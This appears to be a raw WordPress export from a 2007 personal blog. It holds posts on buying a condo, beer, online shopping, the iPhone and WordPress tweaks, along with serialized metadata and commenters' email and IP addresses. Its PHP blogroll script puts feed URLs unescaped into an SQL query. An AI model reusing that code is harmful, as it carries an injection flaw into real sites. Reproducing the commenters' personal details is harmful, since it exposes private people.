    52 2007-03-28 16:36:48 2007-03-28 21:36:48 open open post-vacation-weariness publish 0 0 post 0 _utw_tags_0 a:11:{i:0;O:8:"stdClass":1:{s:3:"tag";s:10:"cell-phone";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"cingular";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"data-cable";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"java";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"lg-cu500";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"Majestic";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:7;O:8:"stdClass":1:{s:3:"tag";s:15:"spuds-mackensie";}i:8;O:8:"stdClass":1:{s:3:"tag";s:8:"St.-Pats";}i:9;O:8:"stdClass":1:{s:3:"tag";s:5:"tired";}i:10;O:8:"stdClass":1:{s:3:"tag";s:8:"vacation";}} _geo_location , _utw_tags_ a:11:{i:0;O:8:"stdClass":1:{s:3:"tag";s:10:"cell-phone";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"cingular";}i:2;O:8:"stdClass":1:{s:3:"tag";s:10:"data-cable";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"java";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"lg-cu500";}i:5;O:8:"stdClass":1:{s:3:"tag";s:8:"Majestic";}i:6;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:7;O:8:"stdClass":1:{s:3:"tag";s:15:"spuds-mackensie";}i:8;O:8:"stdClass":1:{s:3:"tag";s:8:"St.-Pats";}i:9;O:8:"stdClass":1:{s:3:"tag";s:5:"tired";}i:10;O:8:"stdClass":1:{s:3:"tag";s:8:"vacation";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Search Results http://ottodestruct.com/blog/search-results/ Sat, 31 Mar 2007 16:43:02 +0000 http://ottodestruct.com/blog/search-results/
    ]]>
    54 2007-03-31 11:43:02 2007-03-31 16:43:02 open open search-results publish 0 0 page 0 _geo_location , _utw_tags_0 no tags _utw_tags_ no tags _edit_last 1 _edit_lock 1226684989 _wp_page_template pagenocomment.php aktt_notify_twitter no btc_comment_counts a:0:{}
    Spending money like it's going out of style... http://ottodestruct.com/blog/2007/spending-money-like-its-going-out-of-style/ Sun, 08 Apr 2007 13:46:06 +0000 http://ottodestruct.com/blog/2007/04/08/spending-money-like-its-going-out-of-style/
    New Condo Picture
    New Condo
    Since they are still constructing the building, I won't really be able to move in until sometime next month, and even then, the lower floors will still be under construction. But I got a place on the upper floor that was almost complete anyway. All that's really left for them to do in my place is to put in the rest of the hardwood flooring (I'm making them remove the hideous carpeting in the bedroom area in favor of hardwood), and clean the place up. For those of you who have been to my apartment, know that the new place is smaller than my current apartment, in terms of actual floor space. However, it is larger in terms of feel, because it's basically one/two big open rooms. The pictures don't really do it justice. But here they are anyway. :)]]>
    55 2007-04-08 08:46:06 2007-04-08 13:46:06 open open spending-money-like-its-going-out-of-style publish 0 0 post 0 _geo_location , _utw_tags_0 a:7:{i:0;O:8:"stdClass":1:{s:3:"tag";s:14:"buying_a_condo";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"haggle";}i:2;O:8:"stdClass":1:{s:3:"tag";s:4:"math";}i:3;O:8:"stdClass":1:{s:3:"tag";s:8:"mortgage";}i:4;O:8:"stdClass":1:{s:3:"tag";s:16:"new_construction";}i:5;O:8:"stdClass":1:{s:3:"tag";s:9:"paperwork";}i:6;O:8:"stdClass":1:{s:3:"tag";s:8:"realtors";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{}
    Busy, busy... http://ottodestruct.com/blog/2007/busy-busy/ Sun, 15 Apr 2007 15:24:53 +0000 http://ottodestruct.com/blog/2007/04/15/busy-busy/ 56 2007-04-15 10:24:53 2007-04-15 15:24:53 open open busy-busy publish 0 0 post 0 _utw_tags_0 a:3:{i:0;O:8:"stdClass":1:{s:3:"tag";s:14:"buying_a_condo";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"darts";}i:2;O:8:"stdClass":1:{s:3:"tag";s:4:"nike";}} _geo_location , btc_comment_counts a:0:{} btc_comment_summary a:0:{} Beer is the basis of modern static civilization http://ottodestruct.com/blog/2007/beer-is-the-basis-of-modern-static-civilization/ Wed, 18 Apr 2007 18:09:36 +0000 http://ottodestruct.com/blog/2007/04/18/beer-is-the-basis-of-modern-static-civilization/ Scientific American. Some good quotes here:
    Because before beer was discovered, people used to wander around and follow goats from place to place. And then they realized that this grain [barley] could be grown and sprouted and made into a bread and crumbled and converted into a liquid which gave a nice, warm, cozy feeling. So gone were the days that they followed goats around. They stayed put while the grain grew and while the beer was brewed. And they made villages out of their tents. And those villages became towns, and those towns became cities. And so here we are in New York, thanks to beer.
    And this one explains my theory of Sunday morning brunch:
    He who drinks beer sleeps well. He who sleeps well cannot sin. He who does not sin goes to heaven. The logic is impeccable.
    Good stuff.]]>
    57 2007-04-18 13:09:36 2007-04-18 18:09:36 open open beer-is-the-basis-of-modern-static-civilization publish 0 0 post 0 _geo_location , _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:15:"brewing_science";}i:2;O:8:"stdClass":1:{s:3:"tag";s:16:"charlie_bamforth";}i:3;O:8:"stdClass":1:{s:3:"tag";s:24:"university_of_california";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1327 socbook@charter.net 66.227.207.115 2007-07-19 00:40:07 2007-07-19 05:40:07 1 0 0
    Google Checkout Prime! http://ottodestruct.com/blog/2007/google-checkout-prime/ Thu, 03 May 2007 18:31:14 +0000 http://ottodestruct.com/blog/2007/05/03/google-checkout-prime/ If Google rigged up their new Google Checkout service with something like Amazon Prime, but for multiple sites. Amazon prime is pretty cool. I signed up for it for a while, and getting free 2-day shipping for virtually everything you buy really rocks. You can order stuff without thinking about it too much. It's a hell of a lot more convenient than hitting the store. And I ordered a lot of stuff through Amazon while I had Prime. Mostly books, but basically it lets those impulse purchases be extremely easy to satisfy. And that's cool with me, because if I suddenly need Pocky, then I can satisfy that urge. Pocky rules. But what sucks is that a) it's like $80 a year and b) it only works with Amazon.com's stuff, not all their partner's stuff. When you search for stuff at Amazon, and get a list of products back, you have no idea whether or not it's sold by Amazon and thus prime eligible. So you still kinda have to pay attention to some degree. Google's searching for products, on the other hand, is great. Google for it, then at the top of the page you get some products and prices and such. Hit the button to show all Google Checkout results for that product, sort by price, and bam, you're right there. Go straight to the site and buy it. Since you use Google Checkout, no account setup crap is generally involved, it's easy and painless. If Google Checkout had something similar to prime, where the individual vendors didn't charge for shipping, then it would be perfect. I don't know how that would work, as the only way Amazon can do it is because of bulk or something. Maybe Fedex would be willing to cut Google a deal for all its partners with the Checkout service. I dunno. But still, it would rock a lot more than Amazon Prime would.]]> 58 2007-05-03 13:31:14 2007-05-03 18:31:14 open open google-checkout-prime publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:12:"amazon-prime";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"fedex";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"google";}i:4;O:8:"stdClass":1:{s:3:"tag";s:15:"google-checkout";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 947 rufo@rufosanchez.com http://www.rufosanchez.com/ 66.67.211.105 2007-06-11 08:19:50 2007-06-11 13:19:50 1 0 0 1893 press@amazon.com 75.47.132.131 2007-09-13 18:56:01 2007-09-13 23:56:01 1 0 0 Can't talk. Packing. http://ottodestruct.com/blog/2007/cant-talk-packing/ Sun, 13 May 2007 06:26:44 +0000 http://ottodestruct.com/blog/2007/05/13/cant-talk-packing/ 59 2007-05-13 01:26:44 2007-05-13 06:26:44 open open cant-talk-packing publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:14:"buying-a-condo";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"condo";}i:2;O:8:"stdClass":1:{s:3:"tag";s:9:"homeowner";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"memphis";}i:4;O:8:"stdClass":1:{s:3:"tag";s:6:"moving";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} Death of a PC http://ottodestruct.com/blog/2007/death-of-a-pc/ Fri, 18 May 2007 14:03:55 +0000 http://ottodestruct.com/blog/2007/05/18/death-of-a-pc/ 60 2007-05-18 09:03:55 2007-05-18 14:03:55 open open death-of-a-pc publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:9:"apartment";}i:1;O:8:"stdClass":1:{s:3:"tag";s:8:"computer";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"condo";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"home";}i:4;O:8:"stdClass":1:{s:3:"tag";s:12:"power-supply";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 821 erikasanchez23_ny@yahoo.com http://hollywood-bound.com 69.151.36.142 2007-05-26 13:48:32 2007-05-26 18:48:32 1 0 0 810 court@courtneytuttle.com http://courtneytuttle.com 72.8.99.78 2007-05-24 13:41:17 2007-05-24 18:41:17 1 0 0 907 g.garauREMOVE@gmail.com http://www.papigiulio.com 80.56.101.6 2007-06-05 12:08:04 2007-06-05 17:08:04 1 0 0 909 katrinasurprenant@comcast.net http://semicharmedkat.blogspot.com 63.172.97.226 2007-06-05 15:40:58 2007-06-05 20:40:58 Open Bar Booziness See, Otto...this is why the world needs clear-thinking people like you! You always have an answer to my quandries!]]> 1 0 0 919 tamaraglickman@gmail.com http://aviatrixingenue.spaces.live.com 72.189.176.13 2007-06-07 07:07:38 2007-06-07 12:07:38 1 0 0 HOW-TO: Make Wordpress Blogroll's smarter http://ottodestruct.com/blog/2007/how-to-make-wordpress-blogrolls-smarter/ Mon, 11 Jun 2007 19:54:59 +0000 http://ottodestruct.com/blog/2007/06/11/how-to-make-wordpress-blogrolls-smarter/ If you look at all the ways you can display links, one option kinda stands out.. In the case of wp_list_bookmarks(), that option is "orderby=updated". What does this do? Well, the Blogroll/Bookmarks have a field that is supposed to store the last time that each link was updated. And there's a script in the wp-admin directory designed to keep it up to date. The script is named "update-links.php" and it... well... doesn't work. You see, pingomatic.com is included by default as one of the sites that gets pinged on every new post. So this site probably knows when every blog was updated. More or less. The bright idea at the time was to make the update-links script ask pingomatic when all these links were updated. And that's what it still does. The problem with this is that pingomatic... well... it kinda sucks. The updated-batch request in it's API rarely works. In point of fact, I've never gotten it to work. So "update-links.php", sadly, sits there. Semi-dead code. Nobody uses the "orderby=updated" parameter, because it doesn't work without knowing when things were actually updated. But nowadays, we have something better.. We have RSS feeds. And with a minor bit of code, you can revive your update-links.php. How? Well, one other thing every Blogroll/Bookmark link includes is a special field just for RSS feeds. Scroll down when you add or edit a link to find that field. Most people probably don't fill that field in. But now we can make it useful. The concept is simple: For every bookmark that has an RSS feed filled in, we'll get the feed, find the Last-Modified time on the feed, and update our bookmark's updated time. Then "orderby=updated" will actually work, and we'll be able to have our Blogrolls reorder themselves automatically, putting the ones with the latest updates at the top of the list. Neat! Here's how you do it. First, you need to replace update-links.php with this code:
    < ?php
    require_once( dirname( dirname(__FILE__) ) . '/wp-config.php');
    require_once( ABSPATH . 'wp-includes/class-snoopy.php');
    require_once( ABSPATH . 'wp-includes/rss.php');
    
    if ( !get_option('use_linksupdate') )
    	wp_die(__('Feature disabled.'));
    
    $link_rsses = $wpdb->get_col("SELECT link_rss FROM $wpdb->links");
    if ( !$link_rsses )
    	wp_die(__('No links'));
    
    foreach ($link_rsses as $rssurl)
    {
    	$feed = fetch_rss($rssurl);
    	$mod = $feed->last_modified;
    	if ($mod != null) {
    		$modtime = strtotime($mod);
    		$wpdb->query("UPDATE $wpdb->links SET link_updated = FROM_UNIXTIME($modtime) WHERE link_rss = '$rssurl'");
    	}
    }
    ?>
    
    It's a lot simpler than the old update-links.php, really. Now, you need to find some way to run it every once in a while. If you've ever set a cron job up, you already know how to do this. You just need to make a cron job that loads http://example.com/blog/wp-admin/update-links.php every once in a while. However often you want to update. I recommend no more than once every 6 hours though, you're pulling RSS feeds here. No need for extremes. And that's it. Change your sidebar to use "orderby=updated" and you'll find that it works. Future versions of Wordpress may or may not have this change, and may or may not have the need for an external cron job (still working on these).. But this works right now, it's a minor thing to do, and it's kinda fun to have anyway. :)]]>
    61 2007-06-11 14:54:59 2007-06-11 19:54:59 open open how-to-make-wordpress-blogrolls-smarter publish 0 0 post 0 _geo_location 35.142395,-90.055825 _utw_tags_0 a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"blogroll";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"feed";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"feeds";}i:3;O:8:"stdClass":1:{s:3:"tag";s:3:"PHP";}i:4;O:8:"stdClass":1:{s:3:"tag";s:3:"rss";}i:5;O:8:"stdClass":1:{s:3:"tag";s:13:"updated-links";}i:6;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}i:7;O:8:"stdClass":1:{s:3:"tag";s:17:"wp_list_bookmarks";}} _utw_tags_ a:8:{i:0;O:8:"stdClass":1:{s:3:"tag";s:8:"blogroll";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"feed";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"feeds";}i:3;O:8:"stdClass":1:{s:3:"tag";s:3:"PHP";}i:4;O:8:"stdClass":1:{s:3:"tag";s:3:"rss";}i:5;O:8:"stdClass":1:{s:3:"tag";s:13:"updated-links";}i:6;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}i:7;O:8:"stdClass":1:{s:3:"tag";s:17:"wp_list_bookmarks";}} _geo_converted wp_geo_mashup_locations.id = 2 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1000 dan.pauli@bluewin.ch 217.194.50.124 2007-06-19 07:38:36 2007-06-19 12:38:36 1 0 0 6148 yonghowjapan@hotmail.com http://halcyonrealms.com 202.32.131.17 2007-06-12 12:33:43 2007-06-12 17:33:43 1 0 0 6455 weeksgo@gmail.com http://www.mslbra.com/ 66.183.26.2 2008-11-14 23:09:28 2008-11-15 05:09:28 1 0 0
    Grocery Shopping Online http://ottodestruct.com/blog/2007/grocery-shopping-online/ Wed, 13 Jun 2007 13:16:17 +0000 http://ottodestruct.com/blog/2007/06/13/grocery-shopping-online/ Amazon Grocery before, last year in fact, but I got an email this morning from them basically trying to drum up interest in it again, and so I had another look. They have really expanded their product line. Plus, with the addition of their "Subscribe and Save" thing, the prices are basically the same as you'd find at the store. It's a neat idea, to have a regular order of the crap you always have to remember to buy anyway on an automatic order basis. Simple stuff like laundry detergent, toothpaste, cereal, and yes, even toilet paper. :) So I set up a few automatic orders for various items. The automatic orders get 20% off their normal price, and they're all free shipping, so it's a pretty good deal. Definitely worth checking out. I also found that somebody had made a Bonnaroo Wish List while I was browsing around over there. I thought that was quite clever. ]]> 62 2007-06-13 08:16:17 2007-06-13 13:16:17 open open grocery-shopping-online publish 0 0 post 0 _geo_location 35.135499,-90.05962 _utw_tags_0 a:4:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"amazon";}i:1;O:8:"stdClass":1:{s:3:"tag";s:14:"amazon-grocery";}i:2;O:8:"stdClass":1:{s:3:"tag";s:7:"grocery";}i:3;O:8:"stdClass":1:{s:3:"tag";s:18:"subscribe-and-save";}} _geo_converted wp_geo_mashup_locations.id = 3 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Getting me a TV http://ottodestruct.com/blog/2007/getting-me-a-tv/ Fri, 22 Jun 2007 19:51:23 +0000 http://ottodestruct.com/blog/2007/06/22/getting-me-a-tv/ Thinking about buying me one of these. It's a Sony 46" HDTV. I kinda like it, and the price seems good. Anybody got any opinions on televisions? Bigger? Smaller? Different brand? Whatever you got, post a comment, let's hear it. ]]> 63 2007-06-22 14:51:23 2007-06-22 19:51:23 open open getting-me-a-tv publish 0 0 post 0 _geo_location 35.135499,-90.05962 _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"1080p";}i:1;O:8:"stdClass":1:{s:3:"tag";s:4:"hdtv";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"lcd";}i:3;O:8:"stdClass":1:{s:3:"tag";s:4:"sony";}i:4;O:8:"stdClass":1:{s:3:"tag";s:10:"television";}i:5;O:8:"stdClass":1:{s:3:"tag";s:2:"tv";}} _geo_converted wp_geo_mashup_locations.id = 3 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1073 michael@oldfishandlemonade.com http://www.oldfishandlemonade.com 71.65.93.11 2007-06-22 19:41:55 2007-06-23 00:41:55 1 0 0 1087 ottodestruct@nafurai.com http://blog.nafurai.com 83.76.171.76 2007-06-24 10:04:06 2007-06-24 15:04:06 1 0 0 1125 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2007-06-25 11:54:13 2007-06-25 16:54:13 1 0 1 1156 katrinasurprenant@comcast.net http://semicharmedkat.blogspot.com 63.172.97.226 2007-06-26 16:44:25 2007-06-26 21:44:25 1 0 0 1418 http://ottodestruct.com/blog/2007/08/01/finally-bought-a-tv/ 208.109.78.124 2007-08-01 10:54:13 2007-08-01 15:54:13 1 pingback 0 0 6233 ottodestruct@nafurai.com http://blog.nafurai.com 83.76.171.76 2007-06-24 09:04:06 2007-06-24 14:04:06
    Well..two comments 2 samsung..I think you know what to do :-)]]>
    1 0 0
    Geekery and Beer http://ottodestruct.com/blog/2007/geekery-and-beer/ Fri, 22 Jun 2007 22:35:59 +0000 http://ottodestruct.com/blog/2007/06/22/geekery-and-beer/ spicy than I was actually expecting. I think I rather overdid it on the cinnamon. I figure that after another couple of weeks of bottle conditioning, it might turn out to be a rather good beer. One thing I have noticed is that it's a lot stronger than I was expecting. After just one, I'm catching a buzz. Very nice. Anyway, while I'm basking in the sun and enjoying a frosty beverage, I figured I'd putz around with the website a bit. Those of you of a geekish bent might try looking at the site on your mobile phone or whatever handheld device you happen to prefer. Through the magical power of the interwebs, the blog should now look different on the handheld devices, more suited to smaller screens. It'll eliminate the sidebars and rejigger the display a bit. Since I've been using the mobile web a lot more, I find this quite cool. Also if, for some demented reason, you feel it necessary to produce hardcopy of my random meanderings, you'll find that the excessive imagery disappears on the printout, leaving you with just the basic text and little else. This should all be automatic if you have a modern browser, no strange trickery required. Although I'm dubious as to why anybody would want to print out my worthless words, the option is now there, if you happen to come up with a reason. Those of you interested in the technical details can read on after the jump... On to the tech stuff: Basically, this is a modern website, using CSS and XHTML and such (MIME-type of text/html aside... damn you IE!). So all I really had to do was to create two new stylesheets, one for handheld devices and one for print devices. The largest part of these stylesheets involved adding lots of "display:none" code to various bits, thus eliminating them from the page. This is why when, for example, you print the page, you won't get the sidebars. They're eliminated via the new CSS rules. After creating these stylesheets (and I highly recommend the Web Developer extension for Firefox to accomplish this, as it lets you view your CSS changes to the page in real time), you save them on your website somewhere and then make the pages reference them. Since I use Wordpress, I saved them in the theme directory as handheld.css and print.css. Then I edited the theme's header.php file to include code that looks exactly like this: <link rel="stylesheet" href="<?php echo get_stylesheet_directory_uri(); ?>/handheld.css" type="text/css" media="handheld" /> <link rel="stylesheet" href="<?php echo get_stylesheet_directory_uri(); ?>/print.css" type="text/css" media="print" /> Simple, no? This tells your browser where to find the new CSS files, which it loads and uses when necessary. So handheld devices look at the one that is defined by the media="handheld" link, and the browser uses the print one for printing. Simple. Easy. Even a monkey could do it. And I've learned something today. And if you read this, perhaps you did too. :) ]]> 64 2007-06-22 17:35:59 2007-06-22 22:35:59 open open geekery-and-beer publish 0 0 post 0 _utw_tags_0 a:10:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"beer";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"cherry";}i:2;O:8:"stdClass":1:{s:3:"tag";s:8:"cinnamon";}i:3;O:8:"stdClass":1:{s:3:"tag";s:3:"CSS";}i:4;O:8:"stdClass":1:{s:3:"tag";s:8:"homebrew";}i:5;O:8:"stdClass":1:{s:3:"tag";s:6:"mobile";}i:6;O:8:"stdClass":1:{s:3:"tag";s:5:"print";}i:7;O:8:"stdClass":1:{s:3:"tag";s:5:"wheat";}i:8;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}i:9;O:8:"stdClass":1:{s:3:"tag";s:5:"xhtml";}} _geo_location 35.135499,-90.05962 _geo_converted wp_geo_mashup_locations.id = 3 btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1084 otto@ottodestruct.com http://ottodestruct.com 75.64.185.18 2007-06-23 21:22:06 2007-06-24 02:22:06 1 0 1 1080 michael@oldfishandlemonade.com http://www.oldfishandlemonade.com 71.65.93.11 2007-06-23 16:48:46 2007-06-23 21:48:46 1 0 0 1952 wendybarling@hotmail.com 203.29.94.10 2007-09-24 19:02:13 2007-09-25 01:02:13 1 0 0 6423 erika.c@rogers.com http://tapc.ca 99.230.91.197 2008-11-06 08:05:33 2008-11-06 14:05:33 1 0 0 6425 otto@ottodestruct.com http://ottodestruct.com 74.203.133.18 2008-11-06 08:35:23 2008-11-06 14:35:23 1 6423 1 Twitter http://ottodestruct.com/blog/2007/twitter/ Sun, 24 Jun 2007 02:56:25 +0000 http://ottodestruct.com/blog/2007/06/23/twitter/ twitter today, and installed a plugin for the blog that hooks into it. It's kinda neat. The basic idea is that you can send "what you are doing right now" to it at any given moment, and the site posts it. Not complex, basically like a blog for one-liners. The Wordpress plugin I installed lets you show the latest twitter messages you've sent to the service on the sidebar, or in a post, or what have you. Very nifty. So if you look on the bottom right of this page, you'll see the latest info on what I'm currently doing. The cool thing about it is that you can post what you're doing to the site via email or IM or even text message. Quite entertaining, albeit somewhat useless, information. Still, fun for a while, and maybe I'll figure out something useful to do with in the long run. ]]> 65 2007-06-23 21:56:25 2007-06-24 02:56:25 open open twitter publish 0 0 post 0 _utw_tags_0 a:6:{i:0;O:8:"stdClass":1:{s:3:"tag";s:4:"blog";}i:1;O:8:"stdClass":1:{s:3:"tag";s:6:"plugin";}i:2;O:8:"stdClass":1:{s:3:"tag";s:7:"twitter";}i:3;O:8:"stdClass":1:{s:3:"tag";s:13:"twitter-tools";}i:4;O:8:"stdClass":1:{s:3:"tag";s:6:"widget";}i:5;O:8:"stdClass":1:{s:3:"tag";s:9:"wordpress";}} _geo_location 35.135499,-90.05962 _geo_converted wp_geo_mashup_locations.id = 3 btc_comment_counts a:0:{} btc_comment_summary a:0:{} Why I won't be getting an iPhone http://ottodestruct.com/blog/2007/why-i-wont-be-getting-an-iphone/ Wed, 27 Jun 2007 14:00:56 +0000 http://ottodestruct.com/blog/2007/06/27/why-i-wont-be-getting-an-iphone/ Kat wrote about wanting an iPhone yesterday, but I've known for a long time that I'm really just not interested in the thing. Today I found this story on Gizmodo that really lays out why:
    Finally Confirmed: What the iPhone Doesn't Have
    • Songs as Ringtones
    • Games
    • Any flash support
    • Instant Messaging
    • Picture messages (MMS)
    • Video recording
    • Voice recognition or voice dialing
    • Wireless Bluetooth Stereo Streaming (A2DP)
    • One-size-fits-all headset jack (May have to buy an adapter for certain headphones)
    Stuff we already knew it didn't have
    • 3G (EV-DO/HSDPA)
    • GPS
    • A real keyboard
    • Removable battery
    • Expandable Storage
    • Direct iTunes Music Store Access (Over Wi-Fi or EDGE)
    For reference, my existing cheap-as-in-free LG CU-500 phone has all but 3 of the the things above. The iPhone looks to be like it's a major downgrade. I kinda wonder if it's even capable of making phone calls. On the plus side, you'll soon be able to find out which of your friends has more money than brains, because they'll be sporting their shiny new useless blingy phone! And that is going to be the most useful feature ever. Edit: I just noticed that Amazon has several books available for a phone that actually hasn't even been released yet! Including "iPhone for Dummies". Amazing.]]>
    67 2007-06-27 09:00:56 2007-06-27 14:00:56 open open why-i-wont-be-getting-an-iphone publish 0 0 post 0 _geo_location , _utw_tags_0 a:5:{i:0;O:8:"stdClass":1:{s:3:"tag";s:2:"3g";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:5:"bling";}i:3;O:8:"stdClass":1:{s:3:"tag";s:6:"iphone";}i:4;O:8:"stdClass":1:{s:3:"tag";s:7:"useless";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1216 http://ottodestruct.com/blog/2007/07/03/more-about-the-iphone/ 208.109.78.124 2007-07-03 12:05:37 2007-07-03 17:05:37 1 pingback 0 0
    More about the iPhone http://ottodestruct.com/blog/2007/more-about-the-iphone/ Tue, 03 Jul 2007 17:05:30 +0000 http://ottodestruct.com/blog/2007/07/03/more-about-the-iphone/ iPhone post earlier, and Paul pointed to it, which was cool of him and got me a lot more views than I'm used to. But I got some feedback on the topic as well, so I figured I'd go into it a little more. First off, If you're getting the thing for free (like through work or something), then go for it. It's cool looking, the interface is neat, and it's very blingy. My issue with the thing is that it's $600 and somewhat "low-tech". Here's what it breaks down to: Stuff they can fix, and stuff they can't. Stuff they can fix via a future software update:
    • No custom ringtones. Period. It doesn't allow for MP3's, music tracks, or anything else. What's in the phone is all you get. Although iTunes 7.3 appears to support selling ringtones. Look forward to rebuying your songs as ringtones.
    • The camera is 2 megapixels, but can't record video.
    • The phone cannot send "MMS" messages. These are like text messages with pictures or video or what have you. For some people, this is no big deal. And it can still send email, so that's something to consider as well.
    • There's no instant messaging in the thing. It can do "iChat", but it can't do AIM, MSN, GoogleTalk, any of that.
    • The only "push" email it supports is Yahoo Mail. Don't use Yahoo Mail? Tough luck. It can do IMAP based email, which excludes most email systems and isn't "push". Blackberries can do better than this.
    • No games. None. Zero. Zilch. Which is annoying, since they sell iPod games on iTunes that, in theory, could work on the thing.
    • It's not user expandable. You can't put your own apps on it, yet. Even if they fix this, it'll probably be a purchase mechanism thing.
    • The Bluetooth only works with phone calls. So you can't use your neato Bluetooth stereo headset and have a wireless iPod functionality.
    Stuff they *can't* fix:
    • The massive SLOW of the thing. Unless you're able to find a WiFi access point, you'll be using AT&T's "EDGE" network. Which, as you'll notice very rapidly, is extremely slow. What really irks about this is that HSDPA is available in cheaper phones and is much faster and extremely reliable (albeit only found in big cities). This can NOT be fixed with a future software update, it's a hardware problem. Who wants to bet that the "iPhone 2" comes out just as the iPhone price drops down to "free" in a year or so? Who wants to bet that the iPhone 2 will have HSDPA?
    • No GPS. If you've seen the commercial with the big screen Google Maps giving turn by turn directions, then you'll be disappointed to discover that a) the iPhone does not have GPS and so it has no idea where you are (you have to tell it) and b) it can't actually give turn by turn based directions. You have to tell the iPhone when you make each turn. Which makes it pretty useless for this unless you have a buddy using the phone as you go. No software fix for this, the GPS hardware ain't in the phone.
    • The thing works as an iPod Nano, basically. It has 4 or 8 GB of storage. But not all the iPod capable things will work with it. Also, because of the jack plug size, you'll need to buy a special adapter to make some of your normal headphones work with it.
    The software problems are enough to keep me from buying one until they fix them. But these last few hardware issues are enough to make me wait until new iPhone hardware appears in a year or two. Why pay extra for something worse than what I already have? Gizmodo published a list of things you should know before getting one, so don't take my word for any of the above. ]]>
    68 2007-07-03 12:05:30 2007-07-03 17:05:30 open open more-about-the-iphone publish 0 0 post 0 _geo_location , _utw_tags_0 a:1:{i:0;O:8:"stdClass":1:{s:3:"tag";s:6:"iphone";}} btc_comment_counts a:0:{} btc_comment_summary a:0:{} 1231 alex@neihaus.us http://www.alexneihaus.com 71.248.171.236 2007-07-04 19:48:45 2007-07-05 00:48:45 1 0 0
    Great Amazon Deals http://ottodestruct.com/blog/2007/great-amazon-deals/ Thu, 05 Jul 2007 15:04:57 +0000 http://ottodestruct.com/blog/2007/07/05/great-amazon-deals/ 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Beauty: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Bed & Bath: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Books: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Camera & Photo: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Cell Phones & Service: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Computers & PC Hardware: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Computers & Video Games: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% DVD: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Electronics: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Furniture & Decor: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Gourmet Food: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% GPS and Navigation: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Grocery: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Health & Personal Care: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Home & Garden: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Jewelry & Watches: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Kitchen & Housewares: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Magazines & Newspapers: 90% -- 80% -- 70% -- 60% -- 50% -- 40% -- 30% -- 20% -- 10% Musical Instruments: 90% -- 80% -- 70% -- 60% -- 50% 